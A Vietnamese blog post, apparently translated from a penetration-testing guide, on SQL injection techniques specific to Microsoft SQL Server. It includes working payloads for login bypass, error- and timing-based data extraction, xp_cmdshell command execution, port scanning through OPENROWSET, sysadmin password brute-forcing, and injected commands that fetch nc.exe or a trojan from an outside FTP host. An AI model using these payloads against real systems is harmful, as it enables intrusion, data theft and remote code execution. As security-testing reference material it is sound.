Rate this post

Trong phần này, một số kỹ thuật SQL Injection sử dụng các tính năng cụ thể của Microsoft SQL Server sẽ được thảo luận.

Các lỗ hổng SQL injection xảy ra bất cứ khi nào đầu vào được sử dụng trong việc xây dựng một truy vấn SQL mà không bị ràng buộc hoặc khử trùng đầy đủ. Việc sử dụng SQL động (việc xây dựng các truy vấn SQL bằng cách nối các chuỗi) sẽ mở ra cánh cửa cho những lỗ hổng này. SQL injection cho phép kẻ tấn công truy cập vào máy chủ SQL và thực thi mã SQL theo đặc quyền của người dùng được sử dụng để kết nối với cơ sở dữ liệu.

Các bài viết liên quan:

Như đã giải thích trong SQL injection, một khai thác SQL-injection yêu cầu hai thứ: một điểm vào và một khai thác để nhập. Bất kỳ thông số nào do người dùng kiểm soát được ứng dụng xử lý có thể đang ẩn lỗ hổng bảo mật. Điêu nay bao gôm:

  • Tham số ứng dụng trong chuỗi truy vấn (ví dụ: yêu cầu GET)
  • Các thông số ứng dụng được bao gồm như một phần của nội dung của một yêu cầu POST
  • Thông tin liên quan đến trình duyệt (ví dụ: tác nhân người dùng, liên kết giới thiệu)
  • Thông tin liên quan đến máy chủ (ví dụ: tên máy chủ, IP)
  • Thông tin liên quan đến phiên (ví dụ: ID người dùng, cookie)

Máy chủ Microsoft SQL có một vài đặc điểm riêng, do đó, một số cách khai thác cần được tùy chỉnh đặc biệt cho ứng dụng này.

Làm thế nào để kiểm tra

Đặc điểm SQL Server 

Để bắt đầu, hãy xem một số toán tử SQL Server và lệnh / thủ tục được lưu trữ hữu ích trong kiểm tra SQL Injection:

  • comment operator: – (hữu ích để buộc truy vấn bỏ qua phần còn lại của truy vấn ban đầu; điều này sẽ không cần thiết trong mọi trường hợp)
  • query separator :; (dấu chấm phẩy)

Các quy trình hữu ích stored procedures bao gồm:

  • xp_cmdshell thực thi bất kỳ trình bao lệnh nào trong máy chủ có cùng quyền mà nó hiện đang chạy. Theo mặc định, chỉ sysadmin mới được phép sử dụng nó và trong SQL Server 2005, nó bị tắt theo mặc định (nó có thể được bật lại bằng cách sử dụng sp_configure)
  • xp_regread: đọc một giá trị tùy ý từ Registry(thủ tục mở rộng không có tài liệu)
  • xp_regwrite: ghi một giá trị tùy ý vào Registry(thủ tục mở rộng không có tài liệu)
  • sp_makewebtask: Tạo ra một trình bao lệnh Windows và chuyển vào một chuỗi để thực thi. Bất kỳ đầu ra nào được trả về dưới dạng text. Nó yêu cầu đặc quyền sysadmin.
  • xp_sendmail: Gửi một email, có thể bao gồm phần đính kèm tập kết quả truy vấn, đến những người nhận được chỉ định. Thủ tục được lưu trữ mở rộng này sử dụng SQL Mail để gửi thư.

Bây giờ chúng ta hãy xem một số ví dụ về các cuộc tấn công SQL Server cụ thể sử dụng các chức năng nói trên. Hầu hết các ví dụ này sẽ sử dụng hàm thực thi.

Dưới đây chúng tôi trình bày cách thực thi lệnh shell ghi đầu ra của lệnh dir c: \ inetpub trong một tệp có thể duyệt, giả sử rằng máy chủ web và máy chủ DB nằm trên cùng một máy chủ. Cú pháp sau sử dụng xp_cmdshell:

exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--

Ngoài ra, chúng ta có thể sử dụng sp_makewebtask:

execute sp_makewebtask 'C: \ Inetpub \ wwwroot \ test.txt', 'select * from master.dbo.sysobjects' -

Việc thực thi thành công sẽ tạo ra một tệp có thể được duyệt bởi người testing. Hãy nhớ rằng sp_makewebtask không được dùng nữa và ngay cả khi nó hoạt động trong tất cả các phiên bản SQL Server đến năm 2005, nó có thể bị xóa trong tương lai.

Ngoài ra, các hàm và biến môi trường được tích hợp sẵn trong SQL Server rất tiện dụng. Phần sau sử dụng hàm db_name () để kích hoạt lỗi sẽ trả về tên của cơ sở dữ liệu:

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())

Lưu ý việc sử dụng chuyển đổi:

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )

CONVERT sẽ cố gắng chuyển đổi kết quả của db_name (một chuỗi) thành một biến số nguyên, gây ra lỗi, nếu được hiển thị bởi ứng dụng dễ bị tấn công, sẽ chứa tên của DB.

Ví dụ sau đây sử dụng biến môi trường @@ phiên bản, được kết hợp với chèn kiểu liên hợp chọn, để tìm phiên bản của SQL Server.

/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--

Và đây là cách tấn công tương tự, nhưng sử dụng lại thủ thuật chuyển đổi:

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)

Thu thập thông tin rất hữu ích cho việc khai thác các lỗ hổng phần mềm tại SQL Server, thông qua việc khai thác tấn công SQL-injection hoặc truy cập trực tiếp vào trình nghe SQL.

Trong phần sau, chúng tôi trình bày một số ví dụ khai thác lỗ hổng SQL injection thông qua các điểm nhập khác nhau.

Ví dụ 1: Kiểm tra SQL Injection trong một yêu cầu GET

Trường hợp đơn giản nhất (và đôi khi bổ ích nhất) sẽ là một trang đăng nhập yêu cầu tên người dùng và mật khẩu để đăng nhập người dùng. Bạn có thể thử nhập chuỗi sau “’ hoặc ‘1’ = ’1” (không có dấu ngoặc kép):

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1

Nếu ứng dụng đang sử dụng truy vấn SQL động và chuỗi được nối vào truy vấn xác thực thông tin xác thực của người dùng, điều này có thể dẫn đến đăng nhập thành công vào ứng dụng.

Ví dụ 2: Kiểm tra SQL Injection trong một yêu cầu GET

Để tìm hiểu có bao nhiêu cột tồn tại

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--

Ví dụ 3: Thử nghiệm trong một Yêu cầu POST

SQL Injection, HTTP POST Content: email =% 27 & whichSubmit = submit & submit.x = 0 & submit.y = 0

Một ví dụ bài đăng hoàn chỉnh (https://vulnerable.web.app/forgotpass.asp):

POST /forgotpass.asp HTTP/1.1
Host: vulnerable.web.app
[...]
Referer: http://vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

Thông báo lỗi nhận được khi nhập một ký tự ‘(một dấu ngoặc kép) vào trường email là:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '' '.
/forgotpass.asp, line 15

Ví dụ 4: Ví dụ về GET Yet Another (Hữu ích)

Lấy mã nguồn của ứng dụng

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

Ví dụ 5: Tùy chỉnh xp_cmdshell

Tất cả các sách và bài báo mô tả các phương pháp hay nhất về bảo mật cho SQL Server đều khuyên bạn nên tắt xp_cmdshell trong SQL Server 2000 (trong SQL Server 2005, nó bị tắt theo mặc định). Tuy nhiên, nếu chúng ta có quyền sysadmin (nguyên bản hoặc bằng cách ép mật khẩu sysadmin, xem bên dưới), chúng ta thường có thể bỏ qua giới hạn này.

Trên SQL Server 2000:

Nếu xp_cmdshell đã bị tắt với sp_dropextendedproc, chúng tôi có thể chỉ cần nhập mã sau:

sp_addextendedproc 'xp_cmdshell', 'xp_log70.dll'

Nếu mã trước đó không hoạt động, điều đó có nghĩa là xp_log70.dll đã bị di chuyển hoặc xóa. Trong trường hợp này, chúng ta cần nhập mã sau:

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
    DECLARE @result int, @OLEResult int, @RunResult int
    DECLARE @ShellID int
    EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
    EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
    EXECUTE @OLEResult = sp_OADestroy @ShellID
    return @result

Code này, được viết bởi Antonin Foller (xem các liên kết ở cuối trang), tạo một xp_cmdshell mới bằng cách sử dụng sp_oacreate, sp_oamethod và sp_oadestroy (tất nhiên là chúng chưa bị tắt). Trước khi sử dụng, chúng ta cần xóa xp_cmdshell đầu tiên mà chúng ta đã tạo (ngay cả khi nó không hoạt động), nếu không hai khai báo sẽ xung đột.

Trên SQL Server 2005, xp_cmdshell có thể được kích hoạt bằng cách đưa mã sau vào thay thế:

master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure

Ví dụ 6: Referer / User-Agent

Tiêu đề REFERER được đặt thành:

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--

Cho phép thực thi Mã SQL tùy ý. Điều tương tự cũng xảy ra với tiêu đề Tác nhân người dùng được đặt thành:

User-Agent:&nbsp;user_agent',&nbsp;'some_ip');&nbsp;[SQL&nbsp;CODE]--

Ví dụ 7: Máy chủ SQL là port scanner

Trong SQL Server, một trong những lệnh hữu ích nhất (ít nhất đối với trình kiểm tra thâm nhập) là OPENROWSET, được sử dụng để chạy một truy vấn trên DB Server khác và truy xuất kết quả. Người kiểm tra thâm nhập có thể sử dụng lệnh này để quét các cổng của các máy khác trong mạng đích, đưa vào truy vấn sau:

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--

Truy vấn này sẽ cố gắng kết nối đến địa chỉ x.y.w.z trên cổng p. Nếu cổng bị đóng, thông báo sau sẽ được trả lại:

SQL Server does not exist or access denied

Mặt khác, nếu cổng đang mở, một trong các lỗi sau sẽ được trả về:

General network error. Check your network documentation

OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.

Tất nhiên, thông báo lỗi không phải lúc nào cũng có sẵn. Nếu đúng như vậy, chúng ta có thể sử dụng thời gian phản hồi để hiểu điều gì đang xảy ra: với một cổng đóng, thời gian chờ (trong ví dụ này là 5 giây) sẽ được sử dụng, trong khi một cổng mở sẽ trả về kết quả ngay lập tức.

Hãy nhớ rằng OPENROWSET được bật theo mặc định trong SQL Server 2000 nhưng bị tắt trong SQL Server 2005.

Ví dụ 8: Tải lên các file thực thi

Khi chúng ta có thể sử dụng xp_cmdshell (tệp gốc hoặc tùy chỉnh), chúng ta có thể dễ dàng tải lên các tệp thực thi trên Máy chủ DB đích. Một lựa chọn rất phổ biến là netcat.exe, nhưng bất kỳ trojan nào cũng sẽ hữu ích ở đây. Nếu mục tiêu được phép bắt đầu kết nối FTP với máy của người thử nghiệm, tất cả những gì cần thiết là đưa ra các truy vấn sau:

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

Tại thời điểm này, nc.exe sẽ được tải lên và có sẵn.

Nếu tường lửa không cho phép FTP, chúng tôi có một giải pháp khác là khai thác trình gỡ lỗi Windows, debug.exe, được cài đặt theo mặc định trong tất cả các máy Windows. Debug.exe có thể tập lệnh và có thể tạo một tập lệnh thực thi bằng cách thực thi một tệp tập lệnh thích hợp. Những gì chúng ta cần làm là chuyển tệp thực thi thành một tập lệnh gỡ lỗi (là tệp 100% ASCII), tải lên từng dòng một và cuối cùng gọi debug.exe trên đó. Có một số công cụ tạo các tệp gỡ lỗi như vậy (ví dụ: makecr.exe của Ollie Whitehouse và dbgtool.exe của toolcrypt.org). Do đó, các truy vấn để tiêm sẽ như sau:

exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--

Tại thời điểm này, tệp thực thi của chúng ta đã có sẵn trên máy đích, sẵn sàng được thực thi. Có những công cụ tự động hóa quá trình này, đáng chú ý nhất là Bobcat, chạy trên Windows và Sqlninja, chạy trên Unix (Xem các công cụ ở cuối trang này).

Lấy thông tin khi nó không được hiển thị (Out of Band)

Không phải tất cả đều bị mất khi ứng dụng web không trả về bất kỳ thông tin nào – chẳng hạn như thông báo lỗi mô tả (xem Blind SQL Injection). Ví dụ: có thể xảy ra trường hợp một người có quyền truy cập vào mã nguồn (ví dụ: vì ứng dụng web dựa trên phần mềm nguồn mở). Sau đó, trình kiểm tra bút có thể khai thác tất cả các lỗ hổng SQL injection được phát hiện ngoại tuyến trong ứng dụng web. Mặc dù IPS có thể ngăn chặn một số cuộc tấn công này, nhưng cách tốt nhất sẽ là tiến hành như sau: phát triển và kiểm tra các cuộc tấn công trong một thử nghiệm được tạo cho mục đích đó, sau đó thực hiện các cuộc tấn công này đối với ứng dụng web đang được kiểm tra.

Blind SQL Injection Attacks

Phép thử va lỗi sai

Ngoài ra, một người có thể chơi may mắn. Đó là kẻ tấn công có thể cho rằng có một lỗ hổng chèn SQL mù hoặc ngoài dải trong ứng dụng web. Sau đó, anh ta sẽ chọn một vectơ tấn công (ví dụ: một mục nhập web), sử dụng vectơ lông tơ đối với kênh này và xem phản hồi. Ví dụ: nếu ứng dụng web đang tìm kiếm một cuốn sách bằng cách sử dụng truy vấn

select * from books where title="text entered by the user"

thì người kiểm tra thâm nhập có thể nhập văn bản: ‘Bomba’ OR 1 = 1- và nếu dữ liệu không được xác thực đúng cách, truy vấn sẽ chuyển qua và trả về toàn bộ danh sách sách. Đây là bằng chứng cho thấy có lỗ hổng SQL injection. Người kiểm tra thâm nhập sau đó có thể chơi với các truy vấn để đánh giá mức độ nghiêm trọng của lỗ hổng này.

Nếu nhiều thông báo lỗi được hiển thị

Mặt khác, nếu không có thông tin trước, vẫn có khả năng bị tấn công bằng cách khai thác bất kỳ kênh bí mật nào. Có thể xảy ra trường hợp thông báo lỗi mô tả bị dừng, nhưng thông báo lỗi cung cấp một số thông tin. Ví dụ:

Trong một số trường hợp, ứng dụng web (trên thực tế là máy chủ web) có thể trả về lỗi 500: Internal Server Error truyền thống, chẳng hạn như khi ứng dụng trả về một ngoại lệ có thể được tạo ra bởi một truy vấn có dấu ngoặc kép không kèm theo.

Trong khi trong các trường hợp khác, máy chủ sẽ trả về thông báo 200 OK, nhưng ứng dụng web sẽ trả về một số thông báo lỗi do nhà phát triển chèn lỗi máy chủ nội bộ hoặc dữ liệu xấu.

Một chút thông tin này có thể đủ để hiểu cách ứng dụng web xây dựng truy vấn SQL động và điều chỉnh cách khai thác. Một phương pháp ngoài băng tần khác là xuất kết quả thông qua các tệp có thể duyệt HTTP.

Thời gian tấn công

Có một khả năng nữa để thực hiện một cuộc tấn công tiêm SQL mù khi không có phản hồi rõ ràng từ ứng dụng: bằng cách đo thời gian ứng dụng web cần để trả lời một yêu cầu. Một cuộc tấn công kiểu này được Anley mô tả từ đó chúng tôi lấy các ví dụ tiếp theo. Một cách tiếp cận điển hình sử dụng lệnh trì hoãn chờ đợi: giả sử rằng kẻ tấn công muốn kiểm tra xem cơ sở dữ liệu mẫu của quán rượu có tồn tại hay không, anh ta chỉ cần đưa lệnh sau vào:

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

Tùy thuộc vào thời gian mà truy vấn cần để trả về, chúng tôi sẽ biết câu trả lời. Trên thực tế, những gì chúng ta có ở đây là hai thứ: lỗ hổng SQL injection và một kênh bí mật cho phép người kiểm tra thâm nhập lấy 1 bit thông tin cho mỗi truy vấn. Do đó, sử dụng một số truy vấn (số lượng truy vấn bằng các bit trong thông tin cần thiết), trình kiểm tra bút có thể lấy bất kỳ dữ liệu nào có trong cơ sở dữ liệu. Nhìn vào truy vấn sau

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'

Đo thời gian phản hồi và sử dụng các giá trị khác nhau cho @i, chúng tôi có thể

suy ra độ dài của tên cơ sở dữ liệu hiện tại, và sau đó bắt đầu trích xuất chính tên đó bằng truy vấn sau:

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'

Truy vấn này sẽ đợi trong 5 giây nếu bit @bit của byte @byte của tên cơ sở dữ liệu hiện tại là 1 và sẽ trả về ngay lập tức nếu là 0. Lồng hai chu kỳ (một cho @byte và một cho @bit) chúng tôi liệu chúng tôi có thể trích xuất toàn bộ thông tin.

Tuy nhiên, có thể xảy ra trường hợp lệnh chờ không khả dụng (ví dụ: vì nó được lọc bởi bức tường lửa IPS / ứng dụng web). Điều này không có nghĩa là không thể thực hiện các cuộc tấn công chèn SQL mù, vì trình kiểm tra bút chỉ nên đưa ra bất kỳ hoạt động tốn thời gian nào mà không được lọc. Ví dụ

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end

Kiểm tra phiên bản và lỗ hổng

Cách tiếp cận thời gian tương tự cũng có thể được sử dụng để hiểu chúng tôi đang xử lý phiên bản SQL Server nào. Tất nhiên, chúng tôi sẽ tận dụng biến phiên bản @@ được tích hợp sẵn. Hãy xem xét truy vấn sau:

select @@version

Trên SQL Server 2005, nó sẽ trả về một cái gì đó như sau:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37

Phần 2005 của chuỗi kéo dài từ ký tự thứ 22 đến ký tự thứ 25. Do đó, một truy vấn để đưa vào có thể như sau:

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'

Truy vấn như vậy sẽ đợi 5 giây nếu ký tự thứ 25 của biến phiên bản @@ là 5, cho chúng ta thấy rằng chúng ta đang xử lý SQL Server 2005. Nếu truy vấn trả về ngay lập tức, chúng ta có thể đang xử lý SQL Server 2000 và một truy vấn tương tự khác sẽ giúp xóa tan mọi nghi ngờ.

Ví dụ 9: Bruteforce của mật khẩu Sysadmin

Để thực thi mật khẩu sysadmin, chúng ta có thể tận dụng thực tế là OPENROWSET cần có thông tin đăng nhập thích hợp để thực hiện kết nối thành công và kết nối đó cũng có thể được “lặp lại” với Máy chủ DB cục bộ. Kết hợp các tính năng này với một tiêm truyền tham chiếu dựa trên thời gian phản hồi, chúng ta có thể đưa mã sau vào:

select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')

Những gì chúng tôi làm ở đây là cố gắng kết nối với cơ sở dữ liệu cục bộ (được chỉ định bởi trường trống sau SQLOLEDB) bằng cách sử dụng sa và <pwd> làm thông tin xác thực. Nếu mật khẩu đúng và kết nối thành công, truy vấn sẽ được thực thi, khiến DB đợi trong 5 giây (và cũng trả về một giá trị, vì OPENROWSET mong đợi ít nhất một cột). Tìm nạp các mật khẩu ứng viên từ một danh sách từ và đo thời gian cần thiết cho mỗi kết nối, chúng tôi có thể cố gắng đoán đúng mật khẩu. Trong “Khai phá dữ liệu với SQL Injection và Inference”, David Litchfield còn đẩy mạnh kỹ thuật này hơn nữa, bằng cách chèn một đoạn mã để thực thi mật khẩu sysadmin bằng cách sử dụng tài nguyên CPU của chính Máy chủ DB.

Khi chúng tôi có mật khẩu sysadmin, chúng tôi có hai lựa chọn:

  • Chèn tất cả các truy vấn sau bằng OPENROWSET, để sử dụng đặc quyền sysadmin
  • Thêm người dùng hiện tại của chúng tôi vào nhóm sysadmin bằng sp_addsrvrolemember. Tên người dùng hiện tại có thể được trích xuất bằng cách sử dụng suy luận tiêm vào biến system_user.

Hãy nhớ rằng OPENROWSET có thể truy cập được đối với tất cả người dùng trên SQL Server 2000 nhưng nó bị hạn chế đối với các tài khoản quản trị trên SQL Server 2005.

Công cụ

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now